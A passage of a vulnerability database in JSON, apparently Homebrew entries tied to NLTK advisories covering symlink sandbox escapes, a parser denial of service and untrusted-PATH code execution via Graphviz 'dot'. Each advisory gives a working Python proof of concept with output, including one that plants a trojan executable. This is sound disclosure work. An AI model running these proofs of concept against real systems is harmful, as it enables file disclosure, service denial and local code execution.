sink was refuted by inspecting the published artifacts, where no containment check is present on `sql_query`. The behavior was reproduced against the exact published 3.10.3 wheel (verified by its published SHA-256 digest).\n\n## Affected Versions\n\n- `Ecosystem: PyPI`\n- `Package: nltk`\n- `Confirmed affected range: >= 3.9.4, <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI, wheel SHA-256 ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c)`\n- `Fix status: 3.10.4`\n\nThe pathsec sandbox that this issue bypasses was introduced in 3.9.4; the immediately preceding release 3.9.3 does not ship `nltk/pathsec.py` and therefore does not present this sandbox-escape surface. Every published release from 3.9.4 through the current latest 3.10.3 ships `nltk/pathsec.py` with `ENFORCE = True` and ships `sql_query()` without any containment check, so all of them are affected. Each affected wheel was fetched from PyPI and inspected directly. No published release removes the sink or adds the guard, so no fixed version exists at the time of review.\n\n## Suggested Fix\n\nEnforce the data-root containment invariant on the resolved database path before opening it. In `sql_query()`, validate the path through the same mechanism the sibling functions use (for example `validate_path(str(path), context=\"chat80.sql_query\")`) or open the database through the pointer's sandboxed open path rather than passing the raw string to `sqlite3.connect()`. The remediation should resolve symbolic links (real-path resolution) and reject targets outside the registered data roots, and it should cover any other read sinks that connect to on-disk databases resolved through `nltk.data.find`. As an interim mitigation, applications should ensure that no attacker-writable directory is registered as an NLTK data root and should avoid calling `sql_query`/`sql_demo` on resources that live in shared or untrusted locations.\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nPR: #3888 \"Validate chat80.sql_query dbname for path containment (CWE-59/73)\", open; head e0e890f51 at the time of this note. This is the same sink and vector as GHSA-xv54-447f-mj22 (now closed).\n\nFix commits: 9f5d2ea6d (sql_query calls validate_path before nltk.data.find, as cities2table, val_dump and val_load already do) and 47bd0476e (the file behind a sql_query resource name is resolved through the data roots and validated, and its store is pinned).\n\nThe advisory PoC (an in-root corpora/city_database/city.db symlink to an out-of-root SQLite file, resolved through find()) re-run on the PR head e0e890f51: refused with PermissionError (Security Violation [chat80.sql_query]: Unauthorized path, naming the symlink's resolved out-of-root target); the same resource name backed by a real in-root database still returns its rows on that head. On develop 2fa3f48fe the PoC returns the rows of the out-of-root database, so develop is VULNERABLE.\n\nProbe: nltk/test/unit/security_probes/ghsa_xv54_447f_mj22.py on the PR (the sibling advisory GHSA-xv54-447f-mj22), FIXED on the PR head (absolute path, traversal and a symlink inside a scratch directory are all security-rejected). Those three cases are also rejected on develop by find() itself; the in-root symlink above is the case that only the PR closes.\n\nRelease: none.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-xmfg-f9cm-w86q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126302"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.9.4-before-3.10.4-symlink-sandbox-escape-via-chat80-sql-query"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126303","published":"2026-11-14T09:40:04Z","modified":"2026-11-14T09:40:04Z","upstream":["GHSA-8fx7-8jr8-84rv","CVE-2026-126303"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Unbounded CPU consumption in SteppingRecursiveDescentParser.parse() with ambiguous or self-embedding grammars","details":"## Summary\n\n`nltk.parse.recursivedescent.SteppingRecursiveDescentParser.parse()` performs an unbounded top-down search over ambiguous or self-embedding context-free grammars with no wall-clock or step limit. An actor who can influence the grammar and supply a short input to a caller that uses this parser can force a single `parse()` call to pin a CPU core indefinitely, producing a denial of service. The related base class `RecursiveDescentParser` gained a `max_time` wall-clock deadline, but the stepping subclass drives its own step loop and never arms or consults that deadline, and its constructor does not accept a `max_time` parameter, so the guard cannot be enabled on this path.\n\n## Root Cause\n\n`RecursiveDescentParser` bounds its recursive search inside `_parse`: it arms a wall-clock deadline on the first step and raises `TimeoutError` once `max_time` (default 5.0 seconds) is exceeded. `SteppingRecursiveDescentParser` was designed for interactive single-stepping and overrides both `parse()` and `_parse`. Its `parse()` runs `initialize()` followed by a `while self.step() is not None` loop that never enters the guarded base `_parse`. Its `_parse` override is a state-capturing stub that records history and returns a sentinel, and it never references the inherited `self._parse_deadline` or `self._max_time`. Its `__init__` signature omits `max_time` entirely, so a caller cannot enable or tighten a bound. The security invariant that a single parse must terminate within a bounded time is therefore never enforced on this parser.\n\n```text\nAffected component: nltk.parse.recursivedescent.SteppingRecursiveDescentParser\n- parse()      nltk/parse/recursivedescent.py:428-433  (drives its own step loop, no bound armed or checked)\n- _parse()     nltk/parse/recursivedescent.py:643-668  (stub override; never consults self._parse_deadline / self._max_time)\n- __init__()   nltk/parse/recursivedescent.py:410-418  (signature (self, grammar, trace=0); no max_time parameter)\nBase guard for comparison: RecursiveDescentParser._parse nltk/parse/recursivedescent.py:141-150\n```\n\n## Impact\n\nAn actor who controls or influences the grammar passed to `SteppingRecursiveDescentParser` and can supply a short token sequence to a caller that invokes `parse()` can cause that call to never return. The top-down search enumerates a derivation space that grows on the order of the Catalan numbers with no memoization of the search and no deadline, so one crafted grammar plus a short input deterministically consumes a CPU core. In a deployment that parses attacker-influenced input on a bounded worker pool, repeated requests exhaust the pool and deny service to legitimate users. No authentication, privilege, or user interaction is required in that worst-credible deployment. Exploitation requires that the target actually use this parser on untrusted input; because the stepping parser is primarily a debugging or interactive-stepping component that backs a GUI, real-world exposure is narrower than for the base parser, though `parse()` is a supported public method that behaves as a full parser.\n\n## Proof of Concept\n\n`Requires only the nltk package (3.10.3) and standard library; no data downloads or network access.`\n\nReproduction steps:\n1. Build an ambiguous, self-embedding grammar such as `S -> 'a' S S | 'a'`.\n2. Confirm the base parser self-terminates: `RecursiveDescentParser(g, max_time=2.0).parse(['a']*17)` raises `TimeoutError` at about 2 seconds.\n3. Run the stepping parser on the same grammar and input and observe it never returns.\n\n```python\nimport time, inspect\nfrom nltk import CFG\nfrom nltk.parse.recursivedescent import RecursiveDescentParser, SteppingRecursiveDescentParser\n\ng = CFG.fromstring(\"S -> 'a' S S | 'a'\")\n\n# Base parser is bounded and self-terminates.\ntry:\n    list(RecursiveDescentParser(g, max_time=2.0).parse(['a'] * 17))\nexcept TimeoutError:\n    print(\"base: TimeoutError (guarded)\")\n\n# Stepping subclass cannot be bounded: no max_time parameter.\nprint(\"stepping __init__ sig:\", inspect.signature(SteppingRecursiveDescentParser.__init__))\n\n# Stepping parser runs unbounded on the same input.\nt0 = time.perf_counter()\nlist(SteppingRecursiveDescentParser(g).parse(['a'] * 17))  # does not return\nprint(\"stepping: returned after\", time.perf_counter() - t0)\n```\n\n```text\nbase: TimeoutError (guarded)\nstepping __init__ sig: (self, grammar, trace=0)\n# stepping len3: 1 parse in 0.001s ; len7: 5 in 0.017s ; len9: 14 in 0.075s ; len11: 42 in 0.36s\n# stepping len17: still running past a 10s watchdog, process alive, no RecursionError\n```\n\n## Attack Chain\n\n1. **Exposure:** A caller uses `nltk.parse.SteppingRecursiveDescentParser`, a public exported symbol (`nltk/parse/__init__.py:97`), invoking `parse(tokens)` on grammar and input influenced by an actor.\n2. **Control:** The actor influences the grammar (an ambiguous, self-embedding CFG such as `S -> 'a' S S | 'a'`) and supplies a short token list (for example 17 copies of `'a'`). Both survive to the parser unchanged.\n3. **Path:** `parse()` (`recursivedescent.py:428`) calls `initialize()` then loops `while self.step() is not None`; `step()` (`:479`) calls `match()`/`expand()` (`:552`/`:512`) which call the inherited `_match`/`_expand` (`:172`/`:214`), which resolve `self._parse` by MRO to the subclass stub (`:643`).\n4. **Guard:** The `max_time` wall-clock deadline exists only in the base `_parse` (`:141-150`) and is never entered on this path; the stub `_parse` records state and returns without consulting the deadline, and `__init__` exposes no `max_time` to enable a bound.\n5. **Primitive:** The unbounded top-down search enumerates a Catalan-number-sized derivation space with no memoization and no deadline.\n6. **Result:** The `parse()` call never returns and pins a CPU core; repeated calls exhaust a bounded worker pool, denying service.\n\n## Bypass Evidence\n\nThe prior fix for this class of issue added a `max_time` wall-clock deadline to the base `RecursiveDescentParser._parse` (`recursivedescent.py:141-150`, default 5.0 seconds). This report demonstrates that the fix does not cover the sibling `SteppingRecursiveDescentParser` entry point, and the maintainers separately hardened other parsers (chart, earley chart, viterbi, shift-reduce, non-projective dependency) with `max_time` while leaving this subclass unbounded.\n\nChallenges attempted and their outcomes:\n- Hypothesis that the inherited `self._max_time` value (observed at 5.0) makes the path guarded: refuted; the value is inherited but never read on the stepping path, and the parser runs unbounded despite it being set.\n- Hypothesis that a caller can bound the parser via the constructor: refuted; `inspect.signature(SteppingRecursiveDescentParser.__init__)` is `(self, grammar, trace=0)`, with no `max_time` parameter.\n- Hypothesis that the failure is merely an early `RecursionError` rather than CPU exhaustion: refuted; the step loop is iterative over an explicit history stack, so no exception is raised within a 10 second watchdog, CPU time grows exponentially with input length, and a small negative control input returns in about 0.001 seconds.\n- Hypothesis that the `_tried_e`/`_tried_m` records collapse the search: refuted; those records are keyed by the frozen full partial tree, so they deduplicate only identical productions at identical states and do not prevent the exponential enumeration.\n\n## Affected Versions\n\n- `Ecosystem: PyPI`\n- `Package: nltk`\n- `Confirmed affected range: <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI sdist nltk-3.10.3.tar.gz)`\n- `Fix status: 3.10.4`\n\nThe stepping subclass has never carried a time or step bound in any released version; the prior fix added the guard only to the base class. The vulnerable methods were verified present in the exact published PyPI 3.10.3 source distribution (`parse()` at lines 428-433, stub `_parse` at 643-668 with no deadline reference, and `__init__` without `max_time`). Because the class predates the prior fix and no specific historical introduction tag was pinned, the lower bound is left open rather than invented; the upper bound is verified against the current published artifact (3.10.3). No released fix exists.\n\n## Suggested Fix\n\nEnforce a bounded parse on the stepping parser: give `SteppingRecursiveDescentParser` its own wall-clock or step-count budget that is checked inside its step loop (for example in `parse()` and/or the `_parse`/`step` path), and add a `max_time` (or equivalent step-limit) parameter to `__init__` that is propagated and honored, mirroring the base `RecursiveDescentParser` and the other hardened sibling parsers. As an interim mitigation without a code change, callers should avoid invoking `SteppingRecursiveDescentParser.parse()` on grammars or input derived from untrusted sources, run any such parsing under an external timeout or a separate resource-limited process, and prefer a chart parser for untrusted input.\n\n---\n\nReported by zx (GitHub: @manus-pi).\n\n\n## Fix status (2026-09-28)\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144.\n\nFix commit: e20c40e26 \"Bound tokenizer/parser algorithmic DoS (ffr9/gpwc/8fx7)\" (SteppingRecursiveDescentParser gains the max_time parameter, default 5.0 s, and honours the parse deadline).\n\nNo probe. The advisory PoC re-run (grammar S -> 'a' S S | 'a', 17 tokens): on the PR head the parse raises TimeoutError after 5.0 s and the constructor signature is (self, grammar, trace=0, max_time=5.0); on develop 2fa3f48fe the same parse ran past a 45 s watchdog, so develop is still VULNERABLE.\n\nRelease: none.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-8fx7-8jr8-84rv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126303"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3895"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e20c40e26ec9306de885703f6e53250695f1f49b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.4-denial-of-service-via-steppingrecursivedescentparser-parse"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126304","published":"2026-11-14T09:40:04Z","modified":"2026-11-14T09:40:04Z","upstream":["GHSA-qg35-44qx-7vrr","CVE-2026-126304"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Symlink escape in YCOECorpusReader lets a psd/pos directory symlink read files outside the corpus root within the data sandbox","details":"## Summary\n\n`YCOECorpusReader` builds two nested corpus sub-readers whose roots are derived from `self.root.join(\"psd\")` and `self.root.join(\"pos\")` (nltk/corpus/reader/ycoe.py). Because `FileSystemPathPointer.join()` (nltk/data.py) performs a purely lexical containment check and never resolves symlinks, and because `CorpusReader.__init__` (nltk/corpus/reader/api.py) validates a sub-reader root only against the global NLTK data sandbox and not against the enclosing corpus root, a directory symlink named `psd` or `pos` planted inside a YCOE corpus lets the reader anchor its nested sub-readers outside the YCOE corpus root. An attacker who controls the contents of a YCOE corpus loaded under `pathsec.ENFORCE=True` can make `parsed_sents()`, `tagged_words()`, and related methods return file content from other locations inside the allowed data sandbox, defeating the per-corpus-root containment boundary the pathsec controls are meant to enforce.\n\n## Root Cause\n\nNLTK's pathsec controls are designed to keep each corpus reader confined to its own corpus root. The scoped containment is enforced through `validate_path(..., required_root=self._root)` at read time. However, the containment invariant is violated at reader-construction time for nested readers:\n\n- `FileSystemPathPointer.join()` accepts a component that is a directory symlink because it only checks the joined string lexically (`os.path.normpath` plus a `startswith` prefix test) and never calls `resolve()`.\n- `CorpusReader.__init__` validates the resulting sub-reader root string, but calls `validate_path` without `required_root`, so only the global-sandbox layer runs; the scoped per-corpus-root layer is skipped. The symlink is resolved by that global check, its target is found to be inside the allowed sandbox, and the sub-reader is accepted with its root pointing at the escaped target.\n\nFrom that point every read the sub-reader performs is scoped to the already-escaped root, so no later guard re-anchors it to the YCOE corpus root.\n\n```text\nAffected functions:\n- nltk.corpus.reader.ycoe.YCOECorpusReader.__init__   (nltk/corpus/reader/ycoe.py) builds nested sub-readers from self.root.join(\"psd\")/(\"pos\") without containing them to the parent root\n- nltk.corpus.reader.api.CorpusReader.__init__        (nltk/corpus/reader/api.py) validates a sub-reader root only against the global sandbox (validate_path without required_root)\n- nltk.data.FileSystemPathPointer.join               (nltk/data.py) applies a lexical prefix check only and never resolves symlinks\n```\n\n## Impact\n\nAn attacker who controls the directory contents of a YCOE corpus that is loaded by a victim application under `pathsec.ENFORCE=True` (the default in the affected releases) can read file content that lives outside the YCOE corpus root but inside an allowed NLTK data root. The disclosure is bounded to the global NLTK data sandbox: a symlink whose target resolves outside every allowed root is rejected at construction, so this is not an arbitrary-filesystem read. The demonstrated capability is read-only cross-corpus-root disclosure. In a multi-tenant or automated-ingestion deployment the accessible scope includes other corpora placed under the shared data path and the shared system temporary directory, which is a default allowed root and can hold other processes' sensitive temporary files. There is no integrity or availability impact.\n\n## Proof of Concept\n\n`Dependencies: a released nltk (3.10.0 through 3.10.3) on a POSIX host. No third-party packages. The only allowed data root is a fresh temp sandbox; ENFORCE is left at its default of True.`\n\nSteps:\n1. Create a sandbox directory and register it as the sole `nltk.data.path` entry.\n2. Inside the sandbox create a \"victim\" directory holding `doc1.psd` / `doc1.pos` outside the YCOE corpus root.\n3. Create a YCOE corpus root whose `psd` and `pos` entries are directory symlinks pointing at the victim directory.\n4. Construct `YCOECorpusReader` on that root and read it.\n\n```python\nimport os, tempfile, nltk\nfrom nltk import pathsec\nsandbox = os.path.realpath(tempfile.mkdtemp())\npathsec.ENFORCE = True\nnltk.data.path = [sandbox]\npathsec._ALLOWED_ROOTS_CACHE = None\nfrom nltk.corpus.reader.ycoe import YCOECorpusReader\n\nvictim = os.path.join(sandbox, \"victim\", \"psd_secret\")\nvictim_pos = os.path.join(sandbox, \"victim\", \"pos_secret\")\nos.makedirs(victim); os.makedirs(victim_pos)\nopen(os.path.join(victim, \"doc1.psd\"), \"w\").write(\"(S (SECRET leaked-out-of-ycoe-root))\\n\")\nopen(os.path.join(victim_pos, \"doc1.pos\"), \"w\").write(\"SECRET_NN leaked-out-of-ycoe-root_NN\\n\")\n\nycoe = os.path.join(sandbox, \"corpora\", \"ycoe_evil\"); os.makedirs(ycoe)\nos.symlink(victim, os.path.join(ycoe, \"psd\"))\nos.symlink(victim_pos, os.path.join(ycoe, \"pos\"))\n\nreader = YCOECorpusReader(ycoe)\nprint(reader.parsed_sents())\nprint(reader.tagged_words())\n```\n\n```text\npsd sub-reader real root : /tmp/ycoe_poc_zc35zihw/victim/psd_secret\nycoe corpus root         : /tmp/ycoe_poc_zc35zihw/corpora/ycoe_evil\nparsed_sents()           : [Tree('S', [Tree('SECRET', ['leaked-out-of-ycoe-root'])])]\ntagged_words()           : [('SECRET', 'NN'), ('leaked-out-of-ycoe-root', 'NN')]\nESCAPE CONFIRMED: YCOE read out-of-root content via psd/pos symlink\n```\n\nA negative control with real (non-symlink) `psd`/`pos` directories stays contained, and a symlink whose target is `/etc` is rejected at construction with a `PermissionError`, confirming the escape is bounded to the sandbox.\n\n## Attack Chain\n\n1. **Exposure:** A victim application loads a YCOE corpus whose directory contents are attacker-controlled (a downloaded, shared, or planted corpus placed under an allowlisted NLTK data root), running with `pathsec.ENFORCE=True`.\n2. **Control:** The attacker sets the corpus root's `psd` and `pos` entries to directory symlinks pointing at another directory inside the allowed sandbox.\n3. **Path:** `YCOECorpusReader.__init__` calls `self.root.join(\"psd\")`; `FileSystemPathPointer.join()` returns a pointer to `<root>/psd` after a lexical-only check that never resolves the symlink.\n4. **Guard:** `CorpusReader.__init__` calls `validate_path(root)` without `required_root`, so the scoped per-corpus-root layer is skipped; only the global-sandbox layer runs and it resolves the symlink to an in-sandbox target and accepts it.\n5. **Primitive:** The nested sub-reader's root is now the escaped target; `find_corpus_fileids` and the read-time `validate_path(required_root=self._root)` both anchor to that escaped root, so all reads are treated as in-root.\n6. **Result:** `parsed_sents()`, `tagged_words()`, `tagged_sents()`, and `words()` return file content from outside the YCOE corpus root but inside the allowed sandbox: read-only cross-corpus-root disclosure.\n\n## Bypass Evidence\n\nThe relevant guards are the pathsec containment checks that were added to confine corpus readers to their roots. They do not block this path:\n\n- `FileSystemPathPointer.join()` (nltk/data.py) checks `joined == root or joined.startswith(root + os.sep)` on the lexical, non-resolved path. A `psd` component that is a directory symlink yields `<root>/psd`, which satisfies the prefix test, and the symlink is never resolved. `FileSystemPathPointer.__init__` uses `os.path.abspath`, which also does not resolve symlinks.\n- `CorpusReader.__init__` (nltk/corpus/reader/api.py) invokes `validate_path(root, context=\"CorpusReader.__init__\")` with no `required_root`. In `validate_path`, the scoped layer is guarded by `if required_root:` and is therefore skipped; only the global-sandbox layer runs, which resolves the symlink target and accepts it because it lies inside `nltk.data.path`.\n- The read-time guard `validate_path(path, required_root=self._root)` uses the sub-reader's own `self._root`, which is already the escaped target, so it cannot detect the escape. `find_corpus_fileids` computes `resolved_root = os.path.realpath(root.path)` on the escaped root, so its `commonpath` descent guard also confines to the escaped target rather than the YCOE root.\n\nRefutation attempts that failed: a boundary test with a `/etc` symlink target is rejected at construction (`PermissionError`), so this is not arbitrary-filesystem read; a negative control with real `psd`/`pos` directories stays contained; and the escape reproduces against the exact published PyPI sdists for 3.10.0 and 3.10.3, so it is not an artifact of an unreleased development tree. No published advisory or fix addresses this reader: the currently released readers hardened for symlink escapes do not include YCOE's nested-reader root construction, and no fix commit touches nltk/corpus/reader/ycoe.py.\n\n## Affected Versions\n\n- `Ecosystem: PyPI`\n- `Package: nltk`\n- `Confirmed affected range: >= 3.10.0, <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI sdist sha256 bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4, uploaded 2026-08-12)`\n- `Fix status: 3.10.4`\n\nThe pathsec corpus-root containment control is active by default (`ENFORCE=True`) in the 3.10.x line, and the vulnerable YCOE nested-reader construction is present unchanged in every 3.10.x release. The escape was reproduced against the published 3.10.0 and 3.10.3 sdists. Version 3.9.4 ships with `ENFORCE=False` by default, so the per-corpus-root control is not active there by default; that un-hardened default is tracked separately and is not the boundary this report concerns. No later fixed release exists at the time of review.\n\n## Suggested Fix\n\nEnforce the per-corpus-root containment invariant when a reader constructs a nested sub-reader. Two complementary options:\n\n- In `YCOECorpusReader.__init__`, validate each nested root against the parent corpus root, for example `validate_path(self.root.join(\"psd\"), required_root=self.root)` (and likewise for `pos`), so a sub-reader root that resolves outside the enclosing YCOE root is rejected.\n- Harden `FileSystemPathPointer.join()` to reject a component whose resolved target escapes the pointer's own resolved root, rather than relying on a lexical prefix test, so no reader can be pointed outside its root by a symlinked component.\n\nApply the same review to any other reader that constructs nested sub-readers from a root-derived path. As an interim mitigation, only load YCOE corpora from trusted, attacker-inaccessible directories, and avoid placing untrusted corpora under a shared NLTK data root in multi-tenant or automated-ingestion pipelines.\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nPR: #3888 \"Validate chat80.sql_query dbname for path containment (CWE-59/73)\", open; head e0e890f51 at the time of this note.\n\nFix commits: 68434c042 \"Enforce corpus-root containment in YCOE reader and StreamBackedCorpusView\" and 2c563b13f (scopes the YCOE guard).\n\nNo probe. Regression test on the PR: nltk/test/unit/test_ycoe_streamview_pathsec.py (13 passed on the PR head e0e890f51). The advisory PoC re-run (psd and pos directory symlinks pointing outside the corpus root but inside the data sandbox): on the PR head YCOECorpusReader refuses with ValueError (Security Violation [YCOECorpusReader]: path escapes root); on develop 2fa3f48fe parsed_sents() and tagged_words() return the planted out-of-root content, so develop is still VULNERABLE.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-qg35-44qx-7vrr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126304"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3888"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/2c563b13f9dce7c15eefd4b03463e1b69b64f1f3"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/68434c0427f8d296f3adfddb518525038d1f7bfa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.0-before-3.10.4-symlink-escape-in-ycoecorpusreader"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-128134","published":"2026-11-17T08:58:18Z","modified":"2026-11-17T08:58:18Z","upstream":["GHSA-7mxv-7h3q-9324","CVE-2026-128134"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK dot2img runs Graphviz 'dot' without the trusted-exec chokepoint, enabling local code execution via a writable PATH element","details":"## Summary\n\n`nltk.parse.dependencygraph.dot2img` invokes the Graphviz `dot` executable without the trusted-execution guarantees that NLTK applies to its other native-tool wrappers. The function resolves `dot` by bare name and then runs the resolved absolute path with a raw `subprocess.run`, omitting the ownership/writability check and the loader-environment scrub that `nltk.pathsec.spawn_trusted` provides. On a POSIX host, a local, unprivileged actor who can write to any group/world-writable directory that appears on the victim's `PATH` can plant a trojan `dot`; when the victim later renders a `DependencyGraph` (for example in a Jupyter notebook, which auto-invokes `_repr_svg_`) or calls `dot2img` directly, the planted binary executes as the victim. The advisory GHSA-6hwm-xvph-95vm (CVE-2026-78680) addressed the same untrusted-search-path class for the Graphviz `dot` invoker in `nltk/translate/api.py`, but `dot2img` received only part of that remediation and remains exploitable.\n\n## Root Cause\n\nNLTK's native-tool security model layers four defenses (documented in `nltk/EXTERNAL_TOOL_SECURITY.md`): (1) `find_binary` refuses a current-working-directory-relative match; (2) `resolve_trusted_executable` verifies the resolved file is a regular file that no other unprivileged user can replace (private parent directories, owner is the user or root, no group/world write bit); (3) shell execution is refused; (4) `safe_env` scrubs loader and interpreter environment variables before exec. Layers 2, 3, and 4 are reached only through `nltk.pathsec.spawn_trusted`. `dot2img` calls `find_binary(\"dot\")` (layer 1 only), then executes the result with `subprocess.run([dot_binary, ...])` and no `env=` argument. Layer 1 rejects only non-absolute matches, so an absolute path returned by the `which` search stage survives even when the file lives in a writable directory. Because `dot2img` never calls `spawn_trusted`, the ownership check and environment scrub never run.\n\n```text\nnltk/parse/dependencygraph.py:626   dot_binary = find_binary(\"dot\")          # layer 1 only\nnltk/parse/dependencygraph.py:631   subprocess.run([dot_binary, \"-T%s\" % t], ...)   # no trust check, no env=\nnltk/parse/dependencygraph.py:638   subprocess.run([dot_binary, \"-T%s\" % t], ...)   # binary-format branch, same gap\nnltk/internals.py:1034              if searching_bare_name and not os.path.isabs(path): continue  # skips only relative matches\nnltk/translate/api.py:145           process = spawn_trusted(dot_binary, [f\"-T{output_format}\"], ...)  # hardened sibling\n```\n\n## Impact\n\nPrerequisites: a POSIX host on which the attacker is a local, unprivileged user (or code) able to write to a group/world-writable directory that appears on the victim's `PATH`. This includes the commonly cited case of a Homebrew `/usr/local/bin` with `drwxrwxr-x` permissions, or a writable directory placed early on `PATH`. The attacker plants a trojan `dot` there. When the victim renders a `DependencyGraph` (notebook `_repr_svg_` auto-invocation) or calls `dot2img` directly, the trojan executes as the victim, yielding arbitrary local code execution in the victim's account: a local privilege-escalation and lateral-movement primitive. Because the child environment is not scrubbed, loader-injection variables (for example `LD_PRELOAD`, `DYLD_*`, `GCONV_PATH`) also reach the child, providing an additional execution surface. No control over NLTK inputs is required.\n\n## Proof of Concept\n\n`Requires: POSIX host, an importable NLTK build from the affected tree, and Python 3. No third-party dependencies.`\n\n1. Create a world-writable directory and write an executable `dot` script into it that drops a marker and emits fake SVG.\n2. Prepend that directory to `PATH` and run from a neutral working directory (so this is not the current-working-directory vector).\n3. Show that `resolve_trusted_executable` refuses the planted binary (so the hardened path would raise) while `dot2img` executes it.\n\n```python\nimport os, stat, tempfile, subprocess, sys\nd = tempfile.mkdtemp()\ndot = os.path.join(d, \"dot\")\nwith open(dot, \"w\") as f:\n    f.write(\"#!/bin/sh\\ntouch \" + os.path.join(d, \"MARKER\") + \"\\necho '<svg><!-- planted dot ran --></svg>'\\n\")\nos.chmod(dot, 0o777)\nos.chmod(d, 0o777)\nos.environ[\"PATH\"] = d + os.pathsep + os.environ[\"PATH\"]\nos.chdir(\"/\")\nfrom nltk.pathsec import resolve_trusted_executable\nfrom nltk.parse.dependencygraph import dot2img\nprint(\"resolve_trusted_executable(planted dot):\", resolve_trusted_executable(os.path.join(d, \"dot\")))\nout = dot2img(\"digraph G { a -> b }\")\nprint(\"dot2img stdout:\", repr(out))\nprint(\"planted dot executed (marker created):\", os.path.exists(os.path.join(d, \"MARKER\")))\n```\n\n```text\nresolve_trusted_executable(planted dot): None\ndot2img stdout: '<svg><!-- planted dot ran --></svg>\\n'\nplanted dot executed (marker created): True\n```\n\n## Attack Chain\n\n1. **Exposure:** On a shared POSIX host, a group/world-writable directory is present on the victim's `PATH` (for example a writable directory early on `PATH`, or a Homebrew `/usr/local/bin` with group-write). The attacker writes a trojan `dot` into it.\n2. **Control:** The attacker fully controls the contents of the planted `dot` file; no control over NLTK inputs is needed.\n3. **Path:** The victim renders a `DependencyGraph` (notebook display triggers `_repr_svg_` at `nltk/parse/dependencygraph.py:209`, which calls `dot2img`) or calls `dot2img` directly.\n4. **Guard:** `find_binary(\"dot\")` applies layer 1 only (`nltk/internals.py:1034`), which discards a relative current-working-directory match but returns the attacker's absolute path from the `which` stage; `dot2img` never invokes `resolve_trusted_executable` (layer 2) or `safe_env` (layer 4), unlike the hardened sibling `nltk/translate/api.py:145`.\n5. **Primitive:** `subprocess.run([dot_binary, \"-T%s\" % t], ...)` (`nltk/parse/dependencygraph.py:631` and `:638`) executes the untrusted absolute path with the full inherited environment.\n6. **Result:** Arbitrary local code execution as the victim, plus a loader-injection surface via the unscrubbed environment.\n\n## Bypass Evidence\n\nCanonical prior advisory: GHSA-6hwm-xvph-95vm (CVE-2026-78680), \"Uncontrolled search path when invoking the Graphviz 'dot' binary\" (CWE-426/CWE-427), patched at `>= 3.10.3`. That remediation was two-part: a uniform layer-1 current-working-directory refusal in `find_binary`, and a routing of native-tool `dot` invocations 